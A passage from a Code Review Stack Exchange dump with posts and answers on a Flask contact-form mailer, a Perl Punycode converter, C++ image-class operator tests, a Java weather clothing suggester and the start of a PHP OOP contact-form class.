content = f'Name: {mail_info["name"]}\n' \
f'Email: {mail_info["email"]}\n' \
f'Subject: {mail_info["subject"]}\n\n' \
f'Details:\n\n{mail_info["details"]}'
msg.set_content(content)
msg['Subject'] = f"Form input: {mail_info['subject']}"
msg['From'] = sender_email
msg['To'] = receiver_email
return msg
def send_mail(mail_info):
sender_email, password, receiver_email = retrieve_credentials()
msg = prepare_email(mail_info, sender_email, receiver_email)
smtp_server = _SMTP_SERVER_DOMAIN
port = _SMTP_SERVER_PORT
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server, port)
server.ehlo()
server.starttls(context=context)
server.ehlo()
server.login(sender_email, password)
server.send_message(msg)
except Exception as e:
print(e)
finally:
server.quit()
</code></pre>
<h2><code>templates/main.html</code></h2>
<pre class="lang-html prettyprint-override"><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="/static/css/style.css" />
<title>Hello, world!</title>
<style>
#extrainfo {
display: none;
}
</style>
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
</head>
<body>
<main>
<h1>Sample Contact Form</h1>
<p>
This page has a simple contact form. I want to enter details into the
form and then run a Deta Micro to convert the information entered to an
email that is sent to my email address.
</p>
<form action="/contactform" method="POST">
<label for="name">Name</label>
<input
type="text"
name="name"
id="name"
placeholder="John Wick"
required
/>
<label for="email">Email </label>
<input
type="email"
name="email"
id="email"
placeholder="awesome@email.com"
required
/>
<label for="subject">Subject</label>
<input type="text" name="subject" id="subject" required />
<label for="details">Details</label>
<textarea
name="details"
id="details"
cols="40"
rows="10"
required
></textarea>
<div class="required"><p>All fields are required.</p></div>
<div
class="g-recaptcha"
data-sitekey="--- YOUR SITE KEY GOES HERE ---"
data-callback="tryToEnableButton"
data-expired-callback="disableButton"
></div>
<input type="text" name="extrainfo" id="extrainfo" />
<button type="submit" id="submit-button" disabled>Submit</button>
</form>
</main>
<script type="text/javascript">
const submitButton = document.getElementById("submit-button");
function tryToEnableButton() {
if (grecaptcha.getResponse().length > 0) {
submitButton.disabled = false;
}
}
function disableButton() {
submitButton.disabled = true;
}
</script>
</body>
</html>
</code></pre>
<h2><code>templates/accepted.html</code></h2>
<pre class="lang-html prettyprint-override"><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Form Submission</title>
<link rel="stylesheet" href="/static/css/style.css" />
</head>
<body>
<main>
<p>Your query has been submitted successfully!</p>
<p>Please allow upto a week for a response.</p>
<div class="main-button-container">
<button class="main-button" onclick="window.history.go(-1)">
Go Back
</button>
</div>
</main>
</body>
</html>
</code></pre>
<h2><code>static/css/style.css</code></h2>
<pre class="lang-css prettyprint-override"><code>* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #f3f1ef;
font-family: Verdana, Geneva, Tahoma, sans-serif;
font-size: 16px;
display: flex;
flex-direction: column;
align-items: center;
}
main {
padding: 1rem;
}
h1 {
text-align: center;
margin: 1rem 0;
}
main p {
margin: 1rem 0;
}
.required {
color: #861212;
}
form {
display: flex;
flex-direction: column;
align-items: center;
}
form input,
form label,
form p {
display: block;
width: 100%;
padding: 0.5rem 0;
margin: 0.2rem 0;
}
form input {
padding: 0.5rem 1rem;
}
form button,
.main-button {
padding: 1rem;
width: 180px;
border-radius: 12px;
background-color: #c52020;
color: #eee;
font-size: 1.2rem;
}
.main-button-container {
width: 100%;
display: flex;
flex-direction: column;
align-items: center;
}
button:disabled {
filter: grayscale(0.8);
opacity: 0.9;
}
form textarea {
width: 100%;
}
form textarea,
form input {
border-radius: 4px;
}
@media screen and (min-width: 50ch) {
main {
max-width: 40ch;
}
}
</code></pre>
<h1>Specific Points</h1>
<p>I am happy that the code works as intended, but since this will be deployed to the public, I can never be too sure. Hence, I will appreciate any non-blanketed, to-the-point technical advice. I am not an expert at Backend Development so I am willing to learn.</p>
<p>I appreciate comments on the general architecture of the code, any refactoring advice, or alternate implementation suggestions. Suggestions on DevOps are especially welcome.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T14:12:05.717",
"Id": "263725",
"Score": "1",
"Tags": [
"python",
"form",
"email",
"flask",
"captcha"
],
"Title": "Flask API for converting Contact Form responses to Email notifications (with reCAPTCHAv2)"
}
|
263725
|
<p><em>Description</em></p>
<p>This script takes any domain input from STDIN and converts unicode domains into punycode.</p>
<p><em>Features</em></p>
<ul>
<li>Any domains that throw an error get ignored.</li>
<li>When fed any ASCII domains, they just pass through.</li>
</ul>
<p><strong>convert.pl</strong></p>
<pre class="lang-perl prettyprint-override"><code>#!/usr/bin/perl -Wn
use strict;
use Try::Tiny;
use Net::IDN::Encode ':all';
use open ':std', ':encoding(UTF-8)';
try {
chomp $_;
printf "%s\n",domain_to_ascii $_;
}
</code></pre>
<p><strong>Sample Input:</strong></p>
<pre><code>дольщикиспб.рф
шляхтен.рф
สารสกัดจากสมุนไพร.com
google.com
</code></pre>
<p><strong>Sample Output:</strong></p>
<pre><code>xn--90afmajeumr0f6a.xn--p1ai
xn--e1alhsoq4c.xn--p1ai
xn--12cau1c1a4atlh5dbe1gkg3hzj.com
google.com
</code></pre>
<p>I'm open to any feedback!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T05:27:34.183",
"Id": "520861",
"Score": "0",
"body": "*\"I'm wondering if it would be more efficient to check if a domain is unicode or not...\"* The function `domain_to_ascii` already does that check, see the [source](https://metacpan.org/dist/Net-IDN-Encode/source/lib/Net/IDN/Encode.pm#L46) line 46."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T05:39:01.957",
"Id": "520863",
"Score": "0",
"body": "*\"Any domains that convert to punycode >255 characters and throw an error get ignored\"* Where did you get the number 255 from? I could not find that limit in the source."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T05:47:06.633",
"Id": "520864",
"Score": "0",
"body": "@HåkonHægland Yeah I noticed that too. I read somewhere the standard is that punycode domains <255 characters long were valid; can't remember where though lol"
}
] |
[
{
"body": "<p>Some small comments here: The program is using the <a href=\"https://en.wikipedia.org/wiki/Shebang_(Unix)\" rel=\"nofollow noreferrer\">shebang</a> line:</p>\n<pre><code>#!/usr/bin/perl -Wn\n</code></pre>\n<p>The shebang is used when the script is run as a command from the Shell. In this case <code>/usr/bin/perl</code> is used to run the command. This is the so-called system <code>perl</code> that comes with a Unix-like operating system. However, it happens that a user installs other <code>perl</code> executables in addition to the system <code>perl</code>, for example using <a href=\"https://perlbrew.pl/\" rel=\"nofollow noreferrer\"><code>perlbrew</code></a>. In this case, the user would like to run your script with his current choice of Perl interpreter. It might be the system <code>perl</code> or it could be a Perlbrew installed <code>perl</code>. Typically, the user arranges for the <code>PATH</code> environment variable to be set such that the Shell finds the correct <code>perl</code>. The same thing can be done with the shebang line by changing it to</p>\n<pre><code>#!/usr/bin/env perl\n</code></pre>\n<p>now the script is more portable since it can adapt to the current user's settings. However, there is one complication: It is not possible to pass arguments to <code>perl</code> in the shebang line when using <code>/usr/bin/env</code>. In your case you try to pass the options <code>-Wn</code> to <code>perl</code>, but it cannot be done in a portable way, see\n<a href=\"https://unix.stackexchange.com/q/361794/45537\">Why am I able to pass arguments to /usr/bin/env in this case?</a>.</p>\n<p>Luckily, it is seldom necessary to pass arguments to <code>perl</code> in the shebang line. Both <code>-W</code> and <code>-n</code> are better enabled from within the Perl script itself. Instead of passing <code>-W</code> to <code>perl</code> you could use the <a href=\"https://perldoc.perl.org/warnings\" rel=\"nofollow noreferrer\"><code>warnings</code></a> pragma from within the Perl script. Similarly, the <code>-n</code> option is used to set up a <code>STDIN</code> read line-by-line-loop around your script, which can easily be implemented in the script itself.</p>\n<p>Another thing that could help document your program (and thus make it easier to maintain) is to include some unit tests that describes the expected behavior of the program. For example:</p>\n<p><strong>p.pl</strong>:</p>\n<pre><code>#! /usr/bin/env perl\n\nuse feature qw(say);\nuse open ':std', ':encoding(UTF-8)';\nuse warnings;\nuse strict;\nuse Try::Tiny;\nuse Net::IDN::Encode 'domain_to_ascii';\n\n# Written as a modulino: See Chapter 17 in "Mastering Perl". Executes main() if\n# run as script, otherwise, if the file is imported from the test scripts,\n# main() is not run.\nmain() unless caller;\n\nsub main {\n while (<>) {\n my $line = parse_line($_);\n last if !defined $line;\n say $line;\n }\n}\n\nsub parse_line {\n my ($line) = @_;\n\n chomp $line;\n my $result = try {\n domain_to_ascii( $line );\n };\n return $result;\n}\n</code></pre>\n<p><strong>t/main.t</strong>:</p>\n<pre><code>use strict;\nuse warnings;\nuse utf8;\nuse open ':std', ':encoding(utf-8)';\nuse Test2::V0;\nuse lib '.';\n\nrequire "p.pl";\n{\n subtest "basic" => \\&basic;\n subtest "fails" => \\&fails;\n # TODO: Complete the test suite..\n done_testing;\n}\n\nsub basic {\n my @data = (['дольщикиспб.рф', 'xn--90afmajeumr0f6a.xn--p1ai'],\n ['สารสกัดจากสมุนไพร.com', 'xn--12cau1c1a4atlh5dbe1gkg3hzj.com'],\n ['шляхтен.рф', 'xn--e1alhsoq4c.xn--p1ai'],\n ['google.com', 'google.com']\n );\n my $i = 1;\n for my $item (@data) {\n my ($input, $output) = @$item;\n is(parse_line($input), $output, "basic $i");\n $i++;\n }\n}\n\nsub fails {\n is(parse_line("...."), U(), "empty label");\n is(parse_line("1234567890123456789012345678901234567890123456789012345678901234"), U(), "label too long (max 63 characters)");\n\n}\n</code></pre>\n<p>You can run the tests like this:</p>\n<pre><code>$ prove t\nt/main.t .. ok \nAll tests successful.\nFiles=1, Tests=2, 0 wallclock secs ( 0.01 usr 0.00 sys + 0.07 cusr 0.01 csys = 0.09 CPU)\nResult: PASS\n</code></pre>\n<p>or like this:</p>\n<pre><code>$ perl t/main.t \n# Seeded srand with seed '20210711' from local date.\nok 1 - basic {\n ok 1 - basic 1\n ok 2 - basic 2\n ok 3 - basic 3\n ok 4 - basic 4\n 1..4\n}\nok 2 - fails {\n ok 1 - empty label\n ok 2 - label too long (max 63 characters)\n 1..2\n}\n1..2\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T20:15:26.777",
"Id": "263960",
"ParentId": "263728",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263960",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T17:18:14.547",
"Id": "263728",
"Score": "5",
"Tags": [
"linux",
"perl",
"i18n",
"unicode"
],
"Title": "Converting IDN domains to Punycode in Perl"
}
|
263728
|
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/263422/231235">Two dimensional gaussian image generator in C++</a>. Thanks for <a href="https://codereview.stackexchange.com/a/263492/231235">Cris Luengo's answer</a> and <a href="https://codereview.stackexchange.com/a/263650/231235">JDługosz's answer</a>. I am attempting to update the implementation of <code>Image</code> template class, including its constructor definitions and the check of size info. A private member function <code>checkBoundary</code> is added here for boundary checking.</p>
<p><strong>The experimental implementation</strong></p>
<ul>
<li><p>namespace: <code>TinyDIP</code></p>
</li>
<li><p>The tests for the operators of image template class:</p>
<pre><code>void imageElementwiseAddTest()
{
std::cout << "imageElementwiseAddTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test+=test;
test.print();
auto test2 = TinyDIP::Image<int>(11, 11, 1);
test+=test2; // different size case for failure detection
test.print();
}
void imageElementwiseMinusTest()
{
std::cout << "imageElementwiseMinusTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test-=test;
test.print();
auto test2 = TinyDIP::Image<int>(11, 11, 1);
test-=test2; // different size case for failure detection
test.print();
}
void imageElementwiseMultipliesTest()
{
std::cout << "imageElementwiseMultipliesTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test*=test;
test.print();
auto test2 = TinyDIP::Image<int>(11, 11, 1);
test*=test2; // different size case for failure detection
test.print();
}
void imageElementwiseDividesTest()
{
std::cout << "imageElementwiseDividesTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test/=test;
test.print();
auto test2 = TinyDIP::Image<int>(11, 11, 1);
test/=test2; // different size case for failure detection
test.print();
}
</code></pre>
</li>
<li><p><code>Image</code> template class implementation (<code>image.h</code>):</p>
<pre><code>/* Developed by Jimmy Hu */
#ifndef Image_H
#define Image_H
#include <algorithm>
#include <array>
#include <cassert>
#include <chrono>
#include <complex>
#include <concepts>
#include <functional>
#include <iostream>
#include <iterator>
#include <list>
#include <numeric>
#include <string>
#include <type_traits>
#include <variant>
#include <vector>
#include "image_operations.h"
namespace TinyDIP
{
template <typename ElementT>
class Image
{
public:
Image() = default;
Image(const size_t width, const size_t height):
width(width),
height(height),
image_data(width * height) { }
Image(const int width, const int height, const ElementT initVal):
width(width),
height(height),
image_data(width * height, initVal) {}
Image(const std::vector<ElementT>& input, size_t newWidth, size_t newHeight):
width(newWidth),
height(newHeight)
{
assert(input.size() == newWidth * newHeight);
this->image_data = input; // Deep copy
}
Image(const std::vector<std::vector<ElementT>>& input)
{
this->height = input.size();
this->width = input[0].size();
for (auto& rows : input)
{
this->image_data.insert(this->image_data.end(), std::begin(input), std::end(input)); // flatten
}
return;
}
constexpr ElementT& at(const unsigned int x, const unsigned int y)
{
checkBoundary(x, y);
return this->image_data[y * width + x];
}
constexpr ElementT const& at(const unsigned int x, const unsigned int y) const
{
checkBoundary(x, y);
return this->image_data[y * width + x];
}
constexpr size_t getWidth()
{
return this->width;
}
constexpr size_t getHeight()
{
return this->height;
}
std::vector<ElementT> const& getImageData() const { return this->image_data; } // expose the internal data
void print()
{
for (size_t y = 0; y < this->height; ++y)
{
for (size_t x = 0; x < this->width; ++x)
{
// Ref: https://isocpp.org/wiki/faq/input-output#print-char-or-ptr-as-number
std::cout << +this->at(x, y) << "\t";
}
std::cout << "\n";
}
std::cout << "\n";
return;
}
Image<ElementT>& operator+=(const Image<ElementT>& rhs)
{
assert(rhs.width == this->width);
assert(rhs.height == this->height);
std::transform(image_data.cbegin(), image_data.cend(), rhs.image_data.cbegin(),
image_data.begin(), std::plus<>{});
return *this;
}
Image<ElementT>& operator-=(const Image<ElementT>& rhs)
{
assert(rhs.width == this->width);
assert(rhs.height == this->height);
std::transform(image_data.cbegin(), image_data.cend(), rhs.image_data.cbegin(),
image_data.begin(), std::minus<>{});
return *this;
}
Image<ElementT>& operator*=(const Image<ElementT>& rhs)
{
assert(rhs.width == this->width);
assert(rhs.height == this->height);
std::transform(image_data.cbegin(), image_data.cend(), rhs.image_data.cbegin(),
image_data.begin(), std::multiplies<>{});
return *this;
}
Image<ElementT>& operator/=(const Image<ElementT>& rhs)
{
assert(rhs.width == this->width);
assert(rhs.height == this->height);
std::transform(image_data.cbegin(), image_data.cend(), rhs.image_data.cbegin(),
image_data.begin(), std::divides<>{});
return *this;
}
Image<ElementT>& operator=(Image<ElementT> const& input) = default; // Copy Assign
Image<ElementT>& operator=(Image<ElementT>&& other) = default; // Move Assign
Image(const Image<ElementT> &input) = default; // Copy Constructor
Image(Image<ElementT> &&input) = default; // Move Constructor
private:
size_t width;
size_t height;
std::vector<ElementT> image_data;
void checkBoundary(const size_t x, const size_t y)
{
assert(x < width);
assert(y < height);
}
};
}
#endif
</code></pre>
</li>
<li><p><code>base_types.h</code>: The base types</p>
<pre><code>/* Developed by Jimmy Hu */
#ifndef BASE_H
#define BASE_H
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
using BYTE = unsigned char;
struct RGB
{
unsigned char channels[3];
};
using GrayScale = BYTE;
struct HSV
{
double channels[3]; // Range: 0 <= H < 360, 0 <= S <= 1, 0 <= V <= 255
};
#endif
</code></pre>
</li>
</ul>
<p><strong>The full testing code</strong></p>
<pre><code>/* Developed by Jimmy Hu */
#include "base_types.h"
#include "image.h"
void imageElementwiseAddTest();
void imageElementwiseMinusTest();
void imageElementwiseMultipliesTest();
void imageElementwiseDividesTest();
int main()
{
imageElementwiseAddTest();
imageElementwiseMinusTest();
imageElementwiseMultipliesTest();
imageElementwiseDividesTest();
return 0;
}
void imageElementwiseAddTest()
{
std::cout << "imageElementwiseAddTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test+=test;
test.print();
}
void imageElementwiseMinusTest()
{
std::cout << "imageElementwiseMinusTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test-=test;
test.print();
}
void imageElementwiseMultipliesTest()
{
std::cout << "imageElementwiseMultipliesTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test*=test;
test.print();
}
void imageElementwiseDividesTest()
{
std::cout << "imageElementwiseDividesTest\n";
auto test = TinyDIP::Image<int>(10, 10, 1);
test/=test;
test.print();
}
</code></pre>
<p>All suggestions are welcome.</p>
<p>The summary information:</p>
<ul>
<li><p>Which question it is a follow-up to?</p>
<p><a href="https://codereview.stackexchange.com/q/263422/231235">Two dimensional gaussian image generator in C++</a></p>
</li>
<li><p>What changes has been made in the code since last question?</p>
<p>The check operation of size info in <code>Image</code> constructor and member functions has been added in this post.</p>
</li>
<li><p>Why a new review is being asked for?</p>
<p>If there is any possible improvement, please let me know.</p>
</li>
</ul>
|
[] |
[
{
"body": "<h1 id=\"consider-using-a-testing-framework-qj66\">Consider using a testing framework</h1>\n<p>I recommend you try out a (unit) testing framework like <a href=\"https://google.github.io/googletest/\" rel=\"nofollow noreferrer\">Google Test</a>, <a href=\"https://freedesktop.org/wiki/Software/cppunit/\" rel=\"nofollow noreferrer\">cppunit</a>, or one of the <a href=\"https://en.wikipedia.org/wiki/List_of_unit_testing_frameworks#C++\" rel=\"nofollow noreferrer\">many others</a>. Using these has some advantages, for example:</p>\n<ul>\n<li>Better integration with other things, like the build system's testing facilities or <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\" rel=\"nofollow noreferrer\">continuous integration</a>, by virtue of having standardized error codes and status output.</li>\n<li>More specific assertion macros that help log better error messages.</li>\n<li>Sometimes easy selection of a single test case via the command line to speed up debugging.</li>\n</ul>\n<p>They might also help you test negatives, because currently if you add code that triggers an <code>assert()</code>, your test binary will of course stop working. A lot of test frameworks have a way to deal with this as well, and allow you to specify that you expect certain calls to cause the program to abort. They can then fork and run this call in isolation, and then return a positive result if the forked process aborted, and return a negative result if it didn't.</p>\n<h1 id=\"test-corner-cases-89pq\">Test corner cases</h1>\n<p>You are testing small, regular cases. However, those are the most likely to work correctly. While you should definitely keep these tests, what's maybe even more important is to test the corner cases. For example:</p>\n<ul>\n<li>Test images with one or both of the dimensions having size zero.</li>\n<li>Test images with very large dimensions.</li>\n<li>Test images containing zeroes in some or all of the pixels (hint: integer division by zero might fail)</li>\n</ul>\n<h1 id=\"test-a-lot-of-possible-element-types-hp5k\">Test a lot of possible element types</h1>\n<p>You are only testing images of <code>int</code>s. You probably also want to test <code>unsigned int</code>, <code>float</code>, <code>double</code>, <code>std::complex<></code>, <code>std::valarray<></code>, <code>std::boost::rational<></code> and maybe more.</p>\n<p>Of course, you don't want to write duplicate code for all these types, but you can simply make templates out of your test cases, and then just write something to loop over a list of types and call the test case with each type. You might even want to pass unity values to the test cases, so something like this could be done:</p>\n<pre><code>void imageElementwiseAddTest(auto unity)\n{\n auto test = TinyDIP::Image(10, 10, unity); // Thanks, CTAD!\n test += test;\n ...\n}\n\nvoid runTests() {\n [](const auto&... args) {\n (imageElementwiseAddTest(args), ...);\n ...\n } (\n int(1),\n float(1),\n double(1),\n std::complex<double>(1, 0);\n ...\n );\n}\n</code></pre>\n<h1 id=\"check-that-the-result-is-exactly-as-expected-jwkt\">Check that the result is exactly as expected</h1>\n<p>Currently you only check whether the operations work, but you are not checking the results. If you subtract an image from itself, you would expect all elements to be zero. You currently print the results, and perhaps you are looking at the output and checking it manually? A good test suite should of course automate this. So don't print the output, but check that it is all zeroes, and report an error if not.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-24T10:29:47.613",
"Id": "264348",
"ParentId": "263729",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "264348",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T17:40:34.883",
"Id": "263729",
"Score": "2",
"Tags": [
"c++",
"image",
"template",
"classes",
"overloading"
],
"Title": "Tests for the operators of image template class in C++"
}
|
263729
|
<p>I have started learning Java last week and made this simple program to practice making conditional statements and using scanners. The program, as the name suggests, takes the input of a temperature and a weather condition to give you a suggestion for what type of clothes to wear and what equipment to carry (if needed). I would love for someone to review the code and suggest if there's anything I can write in a more optimal and readable way. My main purpose while learning is to get rid of bad habits before they become too bad.</p>
<pre><code>import java.util.InputMismatchException;
import java.util.Scanner;
public class WeatherSuggestor {
int temperature;
String weatherCondition;
public WeatherSuggestor(int temperatureParameter, String conditionParameter ) {
temperature = temperatureParameter;
weatherCondition = conditionParameter;
}
public void weatherClothes() {
switch (weatherCondition) {
case "R":
System.out.println("Take your umbrella.");
break;
case "SU":
System.out.println("Leave your umbrella.");
break;
case "SN":
System.out.println("Take your scarf and gloves.");
break;
default:
System.out.println("The input you gave for the weather was invalid.");
}
}
public void temperatureClothes() {
if (temperature < 10) {
System.out.println("Wear heavy clothes.");
} else if (temperature < 20) {
System.out.println("Wear heavy clothes.");
} else if (temperature < 30) {
System.out.println("Wear long sleeve clothes.");
} else {
System.out.println("Wear light clothes.");
}
}
@SuppressWarnings("resource")
public static void main(String[] args) {
Scanner temperatureInput = new Scanner(System.in);
Scanner weatherInput = new Scanner(System.in);
try {
System.out.println("Enter today's temperature in Celsuis: ");
int definedTemperature = temperatureInput.nextInt();
System.out.println("(R) = Raining\n(SU) = Sunny\n(SN) = Snowy");
System.out.println("Enter today's weather condition: ");
String definedWeather = weatherInput.next().toUpperCase();
WeatherSuggestor userOne = new WeatherSuggestor(definedTemperature, definedWeather);
userOne.temperatureClothes();
userOne.weatherClothes();
} catch (InputMismatchException e) {
System.out.println("Invalid input.");
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:00:29.980",
"Id": "520734",
"Score": "0",
"body": "19°C = Heavy clothes?? Long sleeves at 29°C??? No thanks! I’ll stick to T-shirts & shorts … or perhaps a bathing suit."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:08:17.150",
"Id": "520735",
"Score": "0",
"body": "@AJNeufeld Haha, I live in the Middle East where temperatures are like 45 C for 7 to 8 months. So, 10 C to 20 C is actually cold considering the temperature range :p (or maybe my body just can't handle cold temperatures)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:46:45.693",
"Id": "520737",
"Score": "0",
"body": "I live in Canada where we get down to -40°C on extreme winter nights, and +40°C on extreme summer days. 25°C is comfortable beach weather. I guess your “weather recommender” might need subclasses for regional recommendations :-)"
}
] |
[
{
"body": "<h1>One Scanner Only</h1>\n<p>Do not create multiple scanners. It is unnecessary, and may cause you grief later. There is only one input stream (<code>System.in</code>) and having two scanner objects reading from it can produce unexpected results.</p>\n<pre class=\"lang-java prettyprint-override\"><code> Scanner scanner = new Scanner(System.in);\n\n try {\n …\n int definedTemperature = scanner.nextInt();\n scannner.nextLine(); // Discard the newline after the integer\n …\n String definedWeather = scanner.next().toUpperCase();\n …\n</code></pre>\n<h1>Close Resources</h1>\n<p>Ensure you close resources. Don’t just declare “ya, I know I’m leaking; Java will clean up for me eventually.”</p>\n<p>The “try-with-resources” statement will allow you to automatically close resources, safely and easily.</p>\n<pre class=\"lang-java prettyprint-override\"><code> try(Scanner scanner = new Scanner(System.in)) {\n …\n int definedTemperature = scanner.nextInt();\n …\n } catch (InputMismatchException e) {\n …\n }\n</code></pre>\n<p>With the above, the <code>SuppressWarnings("resource")</code> is unnecessary.</p>\n<h1>Redundant Condition</h1>\n<pre class=\"lang-java prettyprint-override\"><code> if (temperature < 10) {\n System.out.println("Wear heavy clothes.");\n } else if (temperature < 20) {\n System.out.println("Wear heavy clothes.");\n</code></pre>\n<p>The first and second condition behaviours are identical. The first condition is entirely covered by the second condition, so you can combine these, eliminating the redundant test.</p>\n<pre class=\"lang-java prettyprint-override\"><code> if (temperature < 20) {\n System.out.println("Wear heavy clothes.");\n</code></pre>\n<h1>Parameter names</h1>\n<pre class=\"lang-java prettyprint-override\"><code> public WeatherSuggestor(int temperatureParameter, String conditionParameter ) {\n temperature = temperatureParameter;\n weatherCondition = conditionParameter;\n }\n</code></pre>\n<p><code>temperatureParameter</code> and <code>conditionParameter</code> are very verbose. The “Parameter” aspect is entirely redundant, as it is clear they are method parameters.</p>\n<p>You could simplify this using <code>this.</code> to distinguish between parameter names and object members, eliminating the need to come up with different “spellings”.</p>\n<pre class=\"lang-java prettyprint-override\"><code> public WeatherSuggestor(int temperature, String weatherCondition ) {\n this.temperature = temperatureParameter;\n this.weatherCondition = weatherCondition;\n }\n</code></pre>\n<h1>Recommedations</h1>\n<h2>Input Validation</h2>\n<p>You have a dichotomy between invalid temperature input and invalid weather condition input. The former causes an Exception to be thrown (and caught), where as the latter just prints an error message.</p>\n<p>You can throw your own exceptions when the user gives invalid input. This could be done after reading the input from the user, or could be done later in the constructor of <code>WeatherSuggestor</code>. When <code>weatherClothes()</code> is called, the the <code>weatherCondition</code> member could be trusted to be valid.</p>\n<h2>Study <code>enum</code></h2>\n<p>You have 3 valid values for <code>weatherCondition</code>. It is safer to use <code>enum</code> to encode these values. Remembering whether the weather is two letter codes (<code>RA</code>, <code>SU</code>, <code>SN</code>) or a mixture of 1-letter and 2-letter codes (<code>R</code>, <code>SU</code>, <code>SN</code>) is error-prone. As strings, the compiler can’t help you out, but an enumerated values, they are checked by the compiler and type-safe!</p>\n<pre class=\"lang-java prettyprint-override\"><code>enum WeatherCondition {\n RAINY, SUNNY, SNOWY;\n}\n\n…\n WeatherCondition condition;\n if (weatherCond == "R")\n condition = WeatherCondition.RAINY;\n else if …\n\n</code></pre>\n<h2>Return values</h2>\n<p>Instead of printing inside <code>weatherClothes()</code> and <code>temperatureClothes()</code>, you probably want to just return a String. Leave the printing to the caller.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:42:44.367",
"Id": "263734",
"ParentId": "263730",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "263734",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T17:49:51.330",
"Id": "263730",
"Score": "6",
"Tags": [
"java",
"beginner"
],
"Title": "Weather Suggester - A simple program to suggest clothes depending on the weather condition and temperature"
}
|
263730
|
<p>I just converted procedural code to OOP code. Is there any performance or security issue with this code or what should I consider further?</p>
<p>interface</p>
<pre><code>interface IContactform {
public function validate();
public function addcontact();
public function getcontact();
}
</code></pre>
<p>Implementing class</p>
<pre><code>class customercontact implements IContactform {
protected $dbconnection;
protected $customerDbTable;
protected $formvalues;
protected $statusTracker=[];
protected $collectedFormData=[];
protected $customerformrequestingKeys=["customername","customeremail","customerphone","messageBox"];//requestind form attribute names
protected $processedContactDetails=[];
protected $databasecolomns=["c_name","c_email","c_contact","c_message"];
public function __construct($dbcon, $formvalues, $tbtable){
//var_dump($tbtable);
$this->customerDbTable=$tbtable;
$this->formvalues=$formvalues;
$this->dbconnection=$dbcon;
}
public function addcontact() {
if($this->validate()){
if($this->preparesqlstatemen()){
array_push($this->statusTracker,["success"=>"Received and we will contact you soon"]);
return $this->statusTracker;
}
array_push($this->statusTracker,["error"=>"Something gone wrong"]);
return $this->statusTracker;
}else{
//var_dump($this->statusTracker);
return $this->statusTracker;
}
}
public function validate() {
foreach ($this->formvalues as $key => $value){
$santizedinput=$this->sanitizeAndEmptyValueValidate($key,$value);
if($santizedinput ){
for ($i=0; $i < count($this->customerformrequestingKeys);$i++){
if($key==$this->customerformrequestingKeys[$i]){
array_push($this->collectedFormData,[$this->customerformrequestingKeys[$i]=>$santizedinput]);
}
}
}
else
{
return false;
}
}
return true;//return true if all values are validated and filled
}
//sanitize and empty value check userinput
public function sanitizeAndEmptyValueValidate($key,$value){
$valuea=(filter_var($value,FILTER_SANITIZE_STRING));
if(!empty($valuea)){
return $valuea;
}else{
array_push($this->statusTracker,["error"=>"".$key." is Empty"]);
return false;
}
}
//prepare sqlinsert statement dynamically
private function preparesqlstatemen(){
$preparedStatementPlaceHolders=[];
$sqlexpectedTypes=[];
$sqlexpectedValues1=[];
$sqlexpectedValues2=[];
for($k=0; $k<COUNT($this->collectedFormData); $k++){
array_push($preparedStatementPlaceHolders,"?");
array_push($sqlexpectedTypes,"s");
array_push($sqlexpectedValues1,implode(",",$this->collectedFormData[$k]));
}
for($k=0; $k<COUNT($sqlexpectedValues1); $k++){
$rt=($sqlexpectedValues1[$k]);
array_push($sqlexpectedValues2,''.$rt.'');
}
$sql= $this->dbconnection->conn->prepare("INSERT INTO ".$this->customerDbTable."(".implode(",",$this->databasecolomns).") VALUES(".implode(",",$preparedStatementPlaceHolders).")");
$da=implode('',$sqlexpectedTypes);
$sql->bind_param($da,...$sqlexpectedValues2);
if($sql->execute()=== TRUE){
return true;
}else{
return $sql->error;
}
}
public function getcontact() {
}
}
</code></pre>
<p>DB Class</p>
<pre><code>class dbclass {
//put your code here
private $servername = "localhost";
private $username = "root";
private $password = "";
private $dbname = "contact_form";
public function __construct(){
